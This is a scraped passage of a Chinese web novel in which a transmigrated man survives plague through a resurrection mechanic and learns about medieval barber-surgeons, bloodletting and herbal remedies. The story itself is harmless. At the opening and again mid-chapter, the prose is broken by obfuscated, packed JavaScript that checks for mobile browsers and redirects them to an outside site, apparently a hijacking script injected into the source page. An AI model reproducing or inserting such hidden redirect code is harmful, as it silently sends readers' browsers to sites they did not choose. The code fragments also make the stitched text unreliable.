l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204607|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。不过那次只是感冒,这次……可能真是绝症。 他无处可去。 玛格丽特婆婆的小屋?不能去——会传染给她。而且婆婆年纪大了,抵抗力更差。 城堡?更不可能。 他在镇子里漫无目的地走,最后走到镇子边缘。这里房屋稀疏,有些已经废弃。他看到一间柴房,门半开着,里面堆着干草和木柴。 他走进去,关上门。 柴房很简陋,墙是石头垒的,屋顶有破洞,能看到天空。地上铺着干草,有些已经发霉。空气里有灰尘和腐烂的气味。 他找了个相对干净的角落,把干草堆成简陋的床铺,躺上去。 症状继续恶化。 高热让他意识模糊,眼前景物开始晃动,像隔着一层水看世界。发冷让他蜷缩成一团,牙齿打颤,即使裹紧衣服也没用。肌肉痛得更厉害,尤其是背部,痛得他几乎不能平躺。 他知道这是什么:鼠疫,腺鼠疫。在这个时代,等于死亡宣判。 他躺在干草上,看着屋顶的破洞。天空是灰色的,没有云,也没有太阳,只是一片均匀的灰。 脑子里闪过各种念头,像坏掉的投影仪,画面跳跃,没有逻辑: 现代医学知识:鼠疫杆菌,耶尔森菌,革兰氏阴性菌。抗生素有效,链霉素、庆大霉素、多西环素。治愈率90%以上,如果早期治疗的话。 中世纪现实:没有显微镜,没有细菌概念,没有抗生素。治疗靠放血、草药、祈祷。死亡率50%-60%,如果医疗条件差,可能更高。 个人现实:死亡机会还剩两次。这次要用掉一次。 他抬起手腕,看着两道红痕。在昏暗光线下,红色依然鲜艳。很快,就只剩一道了。 死亡前的内心活动,像走马灯: 后悔吗?有点。该更小心吗?也许该更彻底地隔离,也许该早点离开灰石镇,也许…… 但理性告诉他:在这种环境里,感染不是“是否”的问题,是“何时”的问题。灰石镇就是个大培养皿,每个人都是潜在宿主,跳蚤是无差别快递员。防护只能推迟感染时间,不能避免感染。 就像在枪林弹雨里躲闪,你可以躲开这颗子弹,躲开那颗子弹,但总有一颗会打中你。区别只是早晚。 他接受这个事实。不是平静地接受,是疲惫地、无可奈何地接受。 时间缓慢流逝。 症状持续加重。高热让他产生幻觉,看到奇怪的光影在眼前晃动。脱水让他嘴唇干裂,舌头粘在上颚。呼吸越来越困难,每次吸气都像在拉风箱。 他知道快到终点了。 最后的念头,像最后一点电力耗尽前屏幕上的最后一行字: “下次,绝对不住有跳蚤的旅店。” 停顿。 “虽然可能没有下次了。” 然后黑暗。 彻底的,没有梦的黑暗。 林越睁开眼睛。 他躺在……床上。 不是柴房的干草堆,是旅店房间的床上。被子盖在身上,枕头在头下,窗户关着,晨光从缝隙透进来。 他愣了几秒,然后猛地坐起来。 第一时间检查手腕。 左手腕内侧,原本有两道红痕的地方,现在只剩一道了。 消失的那道红痕,原本的位置皮肤光滑如初,没有痕迹,没有疤痕,仿佛从未存在过。就像用橡皮擦擦掉了铅笔字,擦得干干净净,一点残留都没有。 剩下的那道红痕,红得刺眼。而且…… 林越把手腕凑到眼前,仔细感受。 在发热。 不是高烧那种热,是持续的低热,像贴了一片暖宝宝在皮肤上。温度不高,但能明显感觉到,而且持续不断。 他在提醒你:最后的机会了。 林越放下手腕,检查身体。 没有发热,没有寒战,没有肌肉痛。呼吸顺畅,头脑清醒,体力充沛。所有症状消失得干干净净,就像从未生过病。 但记忆还在。 死亡过程的每一个细节:高热,寒战,疼痛,脱水,呼吸困难,最后的黑暗。每一个感官体验,每一个心理活动,都清晰得可怕。不是“像做过一场梦”那种模糊,是“亲身经历过”那种清晰。 他坐在床边,没动,没下床,没去开门。 他需要思考。 从“降低感染概率”到“接受感染必然性”的认知转变,在他脑子里完成最后的连接。 在灰石镇这种环境里,鼠疫感染不是小概率事件,不是“可能发生”,是高概率事件,是“迟早发生”。每个人都在感染名单上,区别只是感染顺序。 防护措施——扎紧袖口,戴口罩,洗手,撒石灰——这些只能做一件事:把你的名字从名单前排移到名单后排。你从“今天感染”变成“明天感染”,从“这周感染”变成“下周感染”。但你还是在名单上。 防护的意义不是“避免感染”,是“推迟感染时间”。 推迟时间有什么用? 有用。推迟的时间可以用来做其他事:学习草药知识,建立人际关系,探索城堡,收集信息,为下一次重生做准备,或者……为惩罚世界做准备。 因为第三次死亡(用完最后一道红痕)后,不是结束,是进入惩罚世界。那是一个未知的、可能更残酷的世界。 所以核心生存策略要从“绝对防护”转向“风险管控”和“死亡机会管理”。 不是“怎么才能不死”,是“怎么在死之前做最多有用的事”,以及“怎么安排死亡时机,让死亡最有价值”。 林越从包袱里找出那本“生存笔记”,翻开新的一页。 标题:《中世纪生存策略v2.0——风险管控模式》 内容: 基本认知:感染是必然,防护是推迟。 目标调整:从“避免死亡”转为“管理死亡时机”。 死亡机会分配:最后一道红痕为“战略储备”,前两道为“可消耗资源”。 行动优先级: 第一优先:学习关键生存知识(草药、医疗、社交规则)。 第二优先:建立关键人际关系(玛格丽特、领主、其他潜在盟友)。 第三优先:探索环境信息(城堡结构、城镇布局、逃生路线)。 第四优先:为惩罚世界做准备(心理建设、知识储备)。 防护升级方向:从“物理防护”转向“早期监测+快速响应”。 死亡计划:每次死亡前,确保已获取最大价值信息/经验。 写完,他看着最后一条:“死亡计划”。 听起来有点疯狂。计划自己的死亡。但在这种环境下,这是最理性的选择。 他合上本子,站起来,走到窗边,推开一条缝。 街道上有人走动,比昨天多些。教堂钟声没响——暂时没有新的死亡公告。天空还是阴沉,但云层薄了些,能看到一点模糊的太阳轮廓。 他低头看手腕。最后一道红痕在晨光里红得像血,持续散发低热,像个小火炉贴在皮肤上。 时刻提醒:机会只剩一次,用完就进入未知的惩罚世界。 他穿好衣服,检查防护——袜套,袖口,口罩。虽然知道防护效果有限,但该做还是得做。就像明知道雨衣防不住核弹,但下雨时还是得穿。 下楼时,老板在大堂擦桌子。看到林越下来,老板愣住了,眼睛瞪大,手里的抹布掉在桌上。 “你……”老板声音结巴,“你不是……” “我好了。”林越简单说,没停步,直接走向门口。 老板在后面喊什么,他没听,也没回头。 走出旅店,他朝玛格丽特婆婆的小屋走去。 他要告诉婆婆两件事:第一,安娜的情况(虽然可能已经……)。第二,他“生病又好了”的经历(用含糊的解释,就说自己抵抗力强,扛过去了)。 更重要的是,他要开始实施新的生存策略。 基于“死亡是必然过程,重点是管理死亡时机和后果”的新策略。 手腕上最后一道红痕持续发热,每一步都能感觉到那微小的温度,贴皮肤,持续不断。 像倒计时的秒表,滴答,滴答,滴答。 时间有限,机会有限。 但这一次,他知道该怎么用了。 37.医疗迷宫(上) 天光从柴房破败的木板缝隙漏进来,落在林越眼皮上时,他第一个感觉是热。 不是太阳晒在脸上的温热,是手腕上那道红痕传来的、持续不断的低热感,像一块贴在皮肤上的暖宝宝——如果暖宝宝的设计初衷是为了提醒佩戴者“你快死了”的话。 他睁开眼,盯着柴房布满蛛网的屋顶看了三秒,确认自己确实又活过来了。这次没有旅店老板的尖叫,没有围观群众的指指点点,只有几只老鼠在墙角窸窸窣窣地啃着什么东西。挺好,至少死得安静。 林越坐起身,第一件事就是抬起左手腕。 那道红痕——最后一道红痕——安静地盘踞在皮肤上,颜色鲜艳得像刚用红笔描过。但它不是静止的,它在发热。不是发烧那种全身滚烫,是局部的、持续的、无法忽视的温热感,像有人在他手腕内侧贴了个微型加热贴,然后忘了关电源。 “行吧,”林越对着空气说,“至少这次有进度条了。” 上一次死亡——鼠疫感染,高热、寒战、剧痛,最后在废弃柴房咽气——的记忆还在脑子里清晰得很。但比起记忆,手腕上这道发热的红痕更像是物理层面的倒计时:你的生命剩余一次,现在开始读秒。 他站起来,拍了拍身上的草屑和灰尘。身体感觉……还行。没有鼠疫症状,没有发烧,没有淋巴结肿痛。重生机制显然挺负责,不仅复活,还给免费做了个全身消毒。就是不知道保质期多久。 柴房外是灰石镇的清晨。天空是灰白色的,像没洗干净的被单。街道上没什么人,只有几个扛着木桶去井边打水的妇人,脚步声在石板路上拖出疲惫的节奏。空气里飘着柴火烟、粪便和某种说不清的腐败气味,混合在一起,构成中世纪的“清晨限定香氛”。 林越摸了摸肚子。饿。从昨晚死到现在复活,中间没进食环节。他得找点吃的,然后—— 他低头看了看手臂。 昨晚在柴房里摸索时,被什么东西划了一下。当时没在意,现在光线好些,能看到左前臂上有一道约三厘米长的口子,不算深,但边缘已经开始发红,渗出少量淡黄色液体。 “破伤风?”林越脑子里立刻跳出这个词。生锈铁片、污浊环境、没消毒的伤口——这配置简直是感染套餐的标准模板。 按照他以前的思路,这种伤口应该立刻找干净水源冲洗,用酒精消毒(如果这个世界有酒精的话),然后包扎。但现在,按照《中世纪生存策略v2.0——风险管控模式》的逻辑,他得换个角度想。 “这是个机会,”林越对自己说,“了解中世纪医疗体系的机会。” 他翻开那本随身携带的生存笔记——羊皮纸做的,封面已经磨得发毛——在新的一页写下标题:“医疗知识获取计划(伤口感染模型)”。 “目标:通过本次可控的小伤口,系统了解中世纪医疗体系的运作逻辑、治疗方式、风险等级,为后续可能的医疗相关死亡(第三次死亡预判)积累知识储备。” “风险等级评估:伤口感染风险(中),破伤风风险(中),医疗处置不当风险(高)。但总体可控,未触及生存底线。” “行动原则:获取知识优先,接受治疗谨慎;观察学习主动,实际参与被动;凡事先问原理,再评估可行性。” 写完后,林越合上笔记本,看了看手臂上的伤口,又看了看手腕上发热的红痕。 “至少这次受伤不是我故意的,”他嘀咕道,“这世界的‘欢迎礼包’真是层出不穷,上次食物中毒,这次铁片割伤。设计者是不是觉得,死法多样化就能掩盖游戏平衡性稀烂的事实?” 二、理发店与手术刀 问路的过程比想象中简单。 “医生?”一个扛着木柴的老头停下脚步,用浑浊的眼睛上下打量林越,“你是说……治病的?” “对,伤口需要处理一下。”林越展示手臂。 老头盯着伤口看了几秒,摇摇头:“这种小伤,吐口唾沫抹抹就行了。” “……还是想找专业点的。” “专业?”老头想了想,指向街道尽头,“汉斯师傅那儿。他什么都能治。” “汉斯师傅是……” “理发的,”老头说,“也治伤。就在镇子东头,门口挂着招牌,你一看就知道。” 林越道了谢,沿着街道往东走。清晨的灰石镇正在缓慢苏醒,店铺陆续开门,小贩摆出摊位,但气氛明显不对劲。少了往日的喧闹,多了种压抑的沉默。偶尔有人咳嗽,周围人就会像触电一样退开几步。 瘟疫的阴影已经开始笼罩这座小镇。 走了约十分钟,林越看到了那个招牌。 严格来说,是两块招牌拼在一起:左边画着一把剪刀和梳子,写着“理发”;右边画着一把刀和一只碗(林越后来知道那是放血用的碗),写着“医疗”。两块招牌中间用一根粗糙的木棍连接,摇摇晃晃地挂在屋檐下。 招牌下方还有一行小字:“汉斯师傅,从业二十年,经验丰富。” 林越站在招牌下,抬头看了足足半分钟。 “这跨界组合,”他心想,“就像现代美容院兼营外科手术——‘剪发烫染,顺带开颅,会员打八折’。” 店门开着,里面传来金属碰撞的声音。林越走进去,先闻到一股混合气味:头油味、草药味、还有淡淡的血腥味。 店面分成两部分。前半部分很常规:一面模糊的铜镜,几把木椅,架子上摆着剪刀、剃刀、梳子。后半部分就有点……特别。一张宽大的木桌,桌上散落着各种刀具——有些像手术刀,有些像凿子,还有些林越根本认不出来。桌旁挂着绷带、布条,墙角堆着几个陶罐,里面是颜色可疑的膏状物。 一个中年男人正背对着门,在木桌前摆弄着什么。听到脚步声,他转过身。 “理头发还是治伤?”男人问。他穿着沾有褐色污渍的围裙,手上戴着一副皮手套——手套指尖部位已经被染成深色。 “治伤,”林越抬起手臂,“被铁片划了一下。” 男人走近几步,摘下一只手套,用手指戳了戳伤口边缘。他的指甲缝里是黑的。 “小伤,”他说,“但得处理,不然会化脓。” “请问您是……” “汉斯,”男人说,“理发师,也兼职治伤。镇子里的人都找我。”他语气里有种理所当然的自信,仿佛“理发师兼医生”是天经地职的职业组合。 林越努力控制表情,不让“你认真的吗”这句话脱口而出。 “那……怎么治?”他问。 “先看□□,”汉斯走回木桌,拿起一个木碗和一根小木棍,“伸手。” 林越伸出手。汉斯用木棍在他手背上刮了几下,刮下一点皮屑,放进碗里,又往碗里倒了点透明液体——闻起来像醋。然后他开始搅拌,同时低头仔细观察。 “这是……在做什么?”林越忍不住问。 “看你的□□平衡,”汉斯头也不抬,“人体有四种□□:血液、粘液、黄胆汁、黑胆汁。健康的人四种□□平衡,生病就是失衡了。你这伤口发红,说明血液过剩,粘液不足。” 林越脑子里闪过现代医学关于感染、炎症、白细胞的知识,然后又强行把这些知识压回去。 “所以治疗方法是……” “放血,”汉斯放下木碗,从桌上拿起一把刀——刀刃狭窄,尖端微弯,“放掉多余的血液,让□□恢复平衡。再敷点草药,帮助伤口愈合。” 他拿起刀,在围裙上擦了擦(围裙上又多了一道污渍),走向林越。 “等等,”林越后退一步,“放血……具体是怎么操作?” “很简单,”汉斯似乎对这种问题习以为常,“在手臂上划个小口,放半碗血出来。你这伤口不大,放少点也行。” “这刀消毒了吗?” “消毒?”汉斯愣了一下,“你是说……擦干净?我刚擦过了。” 林越看着那把刀。刀身上有暗色的斑点,不知道是锈迹还是干涸的血迹。 “不用了,”他说,“我……晕血。” 汉斯皱起眉头:“晕血?那你这伤……” “有没有不放血的办法?”林越快问,“比如只敷草药?” 汉斯盯着他看了几秒,似乎在评估这个客人的“难搞程度”。最后他叹了口气,放下刀。 “有是有,”他说,“但效果没放血好。你这是血液过剩,不放出来,病气会在体内乱窜,可能引发更严重的病。” “我宁愿冒险。” 汉斯耸耸肩,走回木桌,开始在一堆陶罐里翻找。“随你。不过要是病情加重了,别怪我没提醒你。” 林越松了口气,同时脑子里闪过一个念头:上次听到类似“不按我的方案做后果自负”的言论,还是理发师推荐他烫发,说“不烫发运势会变差”。 历史总是惊人地相似,只是这次后果从“发型难看”升级成了“可能送命”。 三、四□□说与草药汤 汉斯找了半天,从一个陶罐里挖出一坨深绿色的膏状物,放在木碗里,又加了点水,开始搅拌。那东西搅拌起来的声音和颜色,让林越想起上周在玛格丽特婆婆那儿看到的、准备倒掉的剩菜汤。 “这是什么草药?”林越问。 “几种草根混合的,”汉斯含糊地说,“消炎,止血,帮助伤口愈合。” “具体是哪几种?” 汉斯停下搅拌,抬头看了他一眼:“你问这么细干什么?” “好奇,”林越立刻换上“好学学徒”的表情,“我对医术很感兴趣,想多学学。” 这招似乎管用。汉斯的脸色缓和了些,甚至有点得意。“既然你感兴趣,我就给你讲讲。人体这四种□□啊,对应四季、四种元素、四种性格……” 接下来二十分钟,林越被迫上了一堂中世纪医学理论课。 汉斯讲得眉飞色舞,从四□□说讲到星座影响,从上帝惩罚讲到道德堕落。他不仅讲理论,还举例子:去年春天老约翰咳嗽,是因为“粘液过多,受春寒影响”;夏天小汤姆腹泻,是“黄胆汁过剩,吃了不洁之物”;秋天玛丽发热,是“血液过热,心火旺盛”;冬天铁匠手臂溃烂,是“黑胆汁淤积,情绪抑郁”。 林越一边听,一边在脑子里做笔记: “四□□说——相当于现代医学的‘阴阳五行’,听起来头头是道,实际验证困难。” “病因归因——三分生理,七分玄学,剩下九十分是‘上帝的安排’。” “治疗方法——核心思想是‘平衡’,但平衡的标准全凭医生一张嘴。” “风险评估——放血可能导致失血过多、感染、破伤风,草药可能无效或有毒,祈祷……祈祷没用,但至少不伤人。” 讲到最后,汉斯总结道:“所以你这伤口,本质是血液过剩引发的局部失衡。放血是最对症的,草药敷料只能治标。” “我明白了,”林越点头,“但晕血这事……” “行吧行吧,”汉斯摆手,“敷草药也行。躺那边椅子上,我帮你弄。” 林越躺到一张木椅上——椅子表面有明显的污渍,他尽量只用背部的衣服接触。汉斯端着那碗“草药膏”走过来,用一把木勺舀起一坨,糊在伤口上。 膏体触感冰凉,带着浓重的土腥味和霉味。汉斯用手(没戴手套的那只)把膏体抹匀,又从架子上扯下一截布条,开始包扎。 布条的颜色介于灰和黄之间,质地粗糙,边缘有毛边。汉斯包扎的手法倒是熟练,三两下就绑好了,打了个结。 “好了,”汉斯退后一步,“这两天别碰水,每天来换一次药。收费两个铜币。” 林越坐起身,看了看手臂上那坨被布条包裹的绿色膏体。隔着布条,能闻到那股土腥味。 “这草药……安全吗?”他还是忍不住问了一句。 “安全?”汉斯笑了,“我用了二十年,从没出过事。当然,”他补充道,“有些人敷了也没用,那是他们体质特殊,或者罪孽太重,上帝不保佑。” “明白了。”林越从口袋里摸出两个铜币——这是他身上最后的钱了——递给汉斯。 “对了,”汉斯收钱时突然说,“如果你这伤加重了,或者有发烧的症状,记得及时来。到时候可能就得放血了,晕血也得放,保命要紧。” “我会的。” 走出理发店-诊所时,林越抬头看了看那块招牌。清晨的阳光照在“医疗”两个字上,反着光。 他抬起手臂,闻了闻包扎处。土腥味混合着霉味,还有一丝若有若无的……腐败味? “希望这玩意儿有用,”他嘀咕道,“至少别让伤口恶化成截肢套餐。” 四、玛格丽特的评价 下午,林越去了玛格丽特婆婆的木屋。 敲门后等了好一会儿,门才打开。玛格丽特婆婆看起来比前几天更疲惫,眼下的黑眼圈明显,手上还沾着草药的绿色汁液。 “林越?”她有些意外,“你不是应该……” “我受伤了,”林越举起手臂,“找了汉斯师傅处理,想来问问您的意见。” 玛格丽特皱了皱眉:“汉斯?你让他治了?” “只敷了草药,没放血。” “那还好,”婆婆松了口气,侧身让开,“进来吧。” 木屋里弥漫着熟悉的草药味,但今天气味更浓,还夹杂着一丝焦味。林越看到炉灶上架着一个小陶罐,里面正煮着什么,咕嘟咕嘟冒着泡。 “坐,”玛格丽特指了指木凳,自己则在林越对面坐下,“手伸过来,我看看。” 林越解开布条——动作很小心,怕把草药膏弄得到处都是。布条下的伤口露出来,敷着那坨深绿色膏体,边缘已经开始发干。 玛格丽特凑近仔细看了看,又闻了闻。 “这是什么草药?”她问。 “汉斯师傅说是几种草根混合的,消炎止血。” 婆婆用手指蘸了一点膏体,放在指尖捻了捻,又闻了闻。 “有土大黄的根……还有车前草……可能加了点艾叶,”她喃喃道,“但这颜色不对,土大黄捣碎不是这个色……” 她起身走到墙角的架子前,那里堆满了各种晒干的草药。她翻找了一会儿,拿出一块深褐色的根茎,又拿了几片叶子,走回来对比。 “他是不是还加了……颠茄?”玛格丽特脸色严肃起来。 “颠茄?” “一种草药,能止痛,但有毒,”婆婆说,“用量大了会让人幻觉、抽搐,甚至死。你这膏体颜色发暗,有甜腻味,可能是加了颠茄汁。” 林越心里一沉。“有毒?” “小剂量没事,还能止痛,”玛格丽特说,“但他没告诉你,就是问题。而且……”她又仔细看了看伤口,“你这伤口已经开始发炎了,草药敷料没压住。他用的布条也没煮过吧?” “应该……没有。” 婆婆摇摇头,起身去拿另一个陶罐。“得重新处理。你等着。” 她从一个罐子里倒出清水,又从一个布袋里抓出一把白色粉末(林越后来知道那是粗盐),溶在水里,然后让林越把手臂伸过去。 “忍着点,可能有点疼。” 盐水浇在伤口上时,林越确实感到了刺痛——但比起可能中毒或者感染截肢,这点痛不算什么。玛格丽特用一块干净的布(她特意从柜子里拿的新布)轻轻擦洗伤口,把汉斯的草药膏全部洗掉。 洗干净的伤口露出来:边缘红肿,中间有少量脓液。 “发炎了,”婆婆说,“但不严重。我给你敷点真正的消炎草药。” 她重新调配了草药:蒲公英叶捣碎,加一点金银花,再加点蜂蜜调和。这次调配的过程她都让林越看着,每样草药都解释清楚作用和用量。 “蒲公英清热消炎,金银花解毒,蜂蜜帮助愈合,”她一边敷药一边说,“这些都是安全的,孕妇小孩都能用。” 敷好药,她用煮过的干净布条重新包扎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210343|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “汉斯那个药膏,你用了多久?”她问。 “大概两小时。” “那应该没事,”婆婆松了口气,“颠茄中毒需要更大量或更长时间。但以后记住,别让他给你用颜色发暗、有甜味的膏药。还有,绝对不要让他放血。” “放血很危险?” “去年镇子里有三个人让他放血,两个伤口感染死了,一个失血过多晕过去,醒来后脑子就不太清楚了。”玛格丽特语气平静,但眼神里有压抑的愤怒,“但大家还是找他,因为他便宜,而且……大家都这么治。” “那您为什么不用这些危险的方法?” 婆婆笑了,笑容里带着苦涩。“因为我见过它们害死人。我父亲就是个草药师,他教我的第一句话是:''如果一种疗法会要人命,那它就不配叫疗法。''” 她停顿了一下,看着炉灶上咕嘟咕嘟的陶罐。“但这话现在没人听了。教会说瘟疫是上帝惩罚,要祈祷赎罪;汉斯那种人说放血能治病,大家都信;我这种老妇人说的‘注意卫生、隔离病人’,反而没人听。” 林越沉默了一会儿。 “那领主呢?”他问,“领主应该有更好的医生吧?” “城堡里有御医,”玛格丽特点头,“水平比汉斯高,用的药也更好。但普通人请不起,一次诊金要十个银币,够一家子吃一个月。” “那如果您生病了……” “我自己治,”婆婆说,“治不好就认命。” 她说完,又去照看炉灶上的陶罐了。林越坐在木凳上,看着她的背影,脑子里整理着刚刚获得的信息: “中世纪医疗体系分层:顶层(贵族御医,相对专业但昂贵),中层(理发师-医生,危险但普及),底层(民间草药师,经验丰富但不受重视)。” “治疗方法风险分级:放血(高风险,绝对避免),不明草药(中高风险,需严格鉴别),安全草药(中低风险,可用)。” “社会认知:宗教解释占主导,科学思维稀缺,经验传承为主。” 他把这些记在笔记本上,然后抬头:“婆婆,我能多学点草药知识吗?安全的那种。” 玛格丽特转过身,看了他几秒。“你想学?” “想,”林越说,“至少要知道什么能用,什么不能用。” 婆婆点点头,走到书架前,抽出一本破旧的手抄本。“这是我父亲留下的笔记,里面记录了八十多种草药的识别、采集、用法。你可以看,但不能带走。” “谢谢。” 林越接过笔记本,翻开第一页。纸张已经泛黄,字迹也有些模糊,但内容清晰:每种草药都有手绘的图样,标注了生长季节、药用部位、功效、用量、禁忌。 他花了整整一下午时间,在木屋里阅读那本笔记。玛格丽特偶尔会解释几句,大部分时间都在忙自己的事——煮药、分装、整理药材。屋子里只有翻页声、煮药声和偶尔的咳嗽声(从窗外传来)。 傍晚时分,林越合上笔记,揉了揉眼睛。 “看完了?”玛格丽特问。 “大致看了一遍,”林越说,“记住了三十种常用草药的识别和用法,还有二十种危险草药的辨认方法。” “记得挺快。” “生死攸关的事,记不快不行。” 婆婆笑了笑,没说话。 林越起身,准备告辞。走到门口时,他回头问了一句:“婆婆,如果……如果我以后受伤或者生病,需要治疗,您能帮我吗?” 玛格丽特看着他,眼神复杂。过了一会儿,她点头:“只要我还活着,只要我这里还有药。” “谢谢。” “不用谢,”她说,“在这年头,能多救一个人,就算赚了。” 五、红痕与决策 走出木屋时,天色已经开始暗了。灰石镇的街道上人影稀疏,偶尔有人匆匆走过,也低着头,不与人对视。瘟疫的恐惧像一层看不见的雾,笼罩着整个小镇。 林越走得很慢,一方面是因为疲惫(一下午的学习消耗了大量精力),一方面是因为他在思考。 思考今天的收获,思考接下来的计划,思考手腕上那道持续发热的红痕。 他抬起左手腕,在渐暗的天光下观察。红痕的鲜艳程度没变,但发热感似乎……增强了一点点?也许是心理作用,也许是真实的。他分辨不出来,只知道那道温热感像心跳一样持续存在,提醒他:时间不多了。 回到临时找的住处——一间废弃谷仓的角落,用干草铺了张“床”——林越点起一根蜡烛(从玛格丽特那儿要来的),翻开生存笔记,开始整理今天的医疗知识。 他画了一张表格: 中世纪医疗风险分级表 类别具体疗法原理实际效果风险等级应对策略 放血类静脉放血、水蛭吸血四□□平衡理论基本无效,常有害高危(感染、失血)绝对避免 草药类安全草药(蒲公英等)经验积累,部分有效部分有效(消炎、止痛)中低风险谨慎使用,确认种类 草药类危险草药(颠茄等)经验积累,有毒可能有效但有毒高风险(中毒)绝对避免,学会辨认 宗教类祈祷、圣物上帝干预心理安慰低风险(除非延误治疗)不依赖,不排斥 外科类截肢、伤口缝合实践经验部分有效(止血)极高风险(感染、技术差)万不得已才考虑 写完后,他盯着表格看了很久。 这张表不完整,不精确,充满不确定性。但它是他用一下午时间、冒着伤口感染和可能中毒的风险换来的。比起刚来时对中世纪医疗的“一无所知”,现在至少有了个模糊的地图。 “地图可能画错了,”林越对自己说,“但总比在黑暗中乱闯强。” 他翻到笔记本的下一页,写下: 《中世纪生存策略v2.0——医疗补充条例》 “1. 所有医疗决策前,必须确认治疗者资质(御医>草药师>理发师医生)。” “2. 所有草药使用前,必须自行辨认或找可靠者辨认,避免使用不明草药。” “3. 放血、催吐、泻药等激进疗法,一律拒绝,无论对方如何劝说。” “4. 小伤小病自行处理(清洁、包扎、安全草药),重伤大病……做好死亡准备。” “5. 医疗知识持续积累,每次接触医疗行为都视为学习机会。” 写完后,他放下笔,靠在干草堆上。 手腕上的红痕还在发热。他把手腕举到眼前,在烛光下仔细观察。那道红色线条似乎比昨天更……鲜艳?不,也许是错觉。但发热感是真实的,像有个微型警报器在皮肤下持续震动:注意,你只剩一条命了;注意,下次死亡就可能面临无法想象的后果;注意,时间在流逝。 林越闭上眼睛。 他想起了今天汉斯讲四□□说时的自信表情,想起了玛格丽特辨认颠茄时的严肃眼神,想起了那本破旧草药笔记上模糊的字迹。中世纪的人们在用他们能理解的方式解释世界、治疗疾病,哪怕那些方式在现代人看来荒诞而危险。 而他自己,一个穿越者,一个“异常个体”,能做的不是嘲笑他们的无知,而是在他们的知识体系里寻找生存缝隙。 “至少现在知道了,”他低声说,“受伤了该找谁,不该找谁。知道了哪些草药能用,哪些是毒药。知道了放血是个坑,跳进去就爬不出来。” 这些知识能救他的命吗?不一定。但至少能让他死得明白点——如果第三次死亡真的和医疗有关的话。 他睁开眼睛,吹灭蜡烛。 谷仓陷入黑暗,只有月光从破洞的屋顶漏进来,在地上投出斑驳的光影。远处传来教堂的钟声——急促的、不规则的敲击,意味着又有人死了。 林越躺在干草上,听着钟声,感受着手腕上持续发热的红痕。 “下次选择,”他对着黑暗说,“得再谨慎点。” “因为这次要是错了,下次就可能彻底完了。” 38.医疗迷宫(下 清晨的疼痛把林越从混乱的梦境里拽了出来。 他先感觉到的是手腕——那道红痕烫得像刚烙上去。然后才是左臂传来的、钝刀子割肉般的疼。他躺在干草堆上没动,闭着眼睛缓了三秒,试图用程序员处理bug的思维来梳理现状:已知伤口昨天处理过,已知草药有效但有限,已知现在疼得不对劲。 “已知条件不足,”他对自己说,“需要现场勘查。” 睁开眼睛,慢慢坐起身。谷仓里光线昏暗,只有几缕阳光从木板缝隙漏进来。他小心翼翼地把左臂从破毯子里挪出来,卷起袖子。 伤口比他预想的糟糕。 昨天玛格丽特婆婆处理时,那道割伤只是红肿,边缘有些发炎。现在整个伤口周围肿起了一圈,皮肤绷得发亮,泛着不正常的暗红色。最中间的位置已经开始渗出黄白色的脓液,黏在包扎的布条上。他用手指隔空悬在伤口上方——热,明显的局部发热。 “感染加重了。”林越得出结论,语气平静,冷静得不像在说自己的生死。 但这平静只维持了五秒。因为他试着活动手指时,牵扯到的伤口疼得让他倒吸一口凉气。这种疼不是昨天的刺痛,是更深层的、持续的胀痛,像有什么东西在皮肉下面膨胀、发酵,急着要找出口。 他放下袖子,开始清点现状。 第一,伤口感染,程度中等偏重。第二,红痕还在发热——不对,是更烫了,烫得有点分心。第三,今天是进入中世纪世界的第……几天来着?他懒得算了。第四,也是最重要的一点:他只剩一道红痕了。死亡机会只剩一次。 “风险等级:高。”林越对着空气说,然后开始穿鞋。 灰石镇的早晨比昨天更压抑。 林越走在石板路上,左手小心地垂在身侧,尽量不摆动。街道两旁的店铺大多关着门,偶尔开着的几家门口都摆着水桶——里面是浑浊的水,飘着些不明物体。两个妇人蹲在水桶边洗衣服,洗出来的水直接泼在街上。 他看着那摊混着肥皂泡和污垢的水渗进石板缝,脑子里自动跳出风险评估:伤口感染状态下,接触脏水风险极高。结论:绕路。 “但这里到处是脏水,”林越心想,“绕路只是心理安慰。” 他继续往前走,经过一家面包店。店主是个胖胖的中年男人,正用黑乎乎的手把面包从炉子里取出来——没戴手套,指甲缝里是洗不掉的面粉和污垢。面包摆上柜台后,一个顾客伸手就拿,也没洗手。 林越默默移开视线。前天他还觉得中世纪食品安全只是“要注意”,现在他觉得这是“要拼命”。用命换来的教训总是最深刻的——第一次死亡就是因为吃了不干净的肉汤。 手腕上的红痕又烫了一下。林越在心里翻译:这是在提醒你,你只有一次犯错机会了。 “知道了知道了,”林越在心里回应,“这次会谨慎。” 但谨慎不等于安全。谨慎只是把死亡概率从90%降到70%——如果基数是一百次尝试,能多活三十次;但如果基数只有一次,那降下来的20%概率毫无意义。 他走到镇中心广场,看见了汉斯的理发店兼诊所。 店面不大,木招牌上画着理发师标志性的红白条纹柱——但在柱子旁边,还画了把放血用的小刀,刀尖向下滴着红色的……大概是血。很直白的广告,直白得让人不安。 店门开着,能看见里面有人影晃动。林越在门口停了三秒,做了个深呼吸。 “进去之前,”他对自己说,“明确目标:一,确认感染程度;二,获取治疗方案信息;三,评估风险;四,活着出来。” 然后他走了进去。 店里的味道比外面复杂十倍。 首先是汗味——很多人的汗味,混合在一起形成一种厚重的、黏糊糊的空气质感。然后是草药味,但不是玛格丽特婆婆那种清新的草药香,是种发苦的、混着霉味的味道,像放久了的药材。最浓烈的是酒精味——或者说是某种劣质酒的味道,刺鼻,辣眼睛。 林越站在门口适应了几秒,才看清店里的布局。 